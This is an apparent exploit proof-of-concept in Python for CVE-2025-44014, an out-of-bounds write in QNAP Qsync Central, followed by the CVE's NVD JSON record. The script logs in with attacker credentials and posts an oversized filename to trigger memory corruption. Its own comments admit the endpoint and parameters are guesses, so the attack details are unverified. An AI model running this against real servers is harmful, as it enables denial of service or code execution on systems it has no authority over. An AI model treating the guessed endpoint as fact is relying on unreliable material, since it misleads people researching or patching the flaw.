CVE-2025-44014

# CVE-2025-44014 - QNAP Qsync Central Out-of-Bounds Write PoC # This is a conceptual PoC demonstrating the exploitation approach. # The actual vulnerable endpoint and parameters would need to be identified # through reverse engineering of the Qsync Central application. import requests import struct TARGET_HOST = "https://target-qsync-host:port" USERNAME = "attacker_user" PASSWORD = "attacker_password" def authenticate(session, host, username, password): """Authenticate to Qsync Central with valid credentials.""" login_url = f"{host}/cgi-bin/login.cgi" payload = { "username": username, "password": password } response = session.post(login_url, data=payload, verify=False) if response.status_code == 200: print("[+] Authentication successful") return response def trigger_oob_write(session, host): """ Trigger the out-of-bounds write vulnerability. The vulnerable function likely fails to validate the length of user-supplied data before writing it into a fixed-size buffer. """ # Example: a sync operation endpoint that processes file metadata # The attacker supplies an overly long filename or path to overflow the buffer vulnerable_endpoint = f"{host}/cgi-bin/sync_operation.cgi" # Craft a payload that exceeds the expected buffer size # Adjust the overflow size based on the target buffer length overflow_size = 4096 overflow_data = "A" * overflow_size payload = { "action": "upload_file", "filename": overflow_data, # Oversized filename triggers OOB write "path": "/", "data": "malicious_content" } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = session.post(vulnerable_endpoint, data=payload, headers=headers, verify=False) print(f"[*] Response status: {response.status_code}") return response def main(): session = requests.Session() # Step 1: Authenticate with valid credentials auth_response = authenticate(session, TARGET_HOST, USERNAME, PASSWORD) # Step 2: Trigger the out-of-bounds write trigger_oob_write(session, TARGET_HOST) # Note: Successful exploitation may result in: # - Application crash (DoS) # - Memory corruption leading to arbitrary code execution # - Privilege escalation within the Qsync Central service if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-44014", "sourceIdentifier": "[email protected]", "published": "2025-10-03T19:15:43.127", "lastModified": "2025-10-08T19:54:21.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds write vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to modify or corrupt memory.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.1 ( 2025/07/09 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0.0", "versionEndExcluding": "5.0.0.1", "matchCriteriaId": "1CCFCB2F-05FA-460B-BD0D-966E7CE58D8A"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-34", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}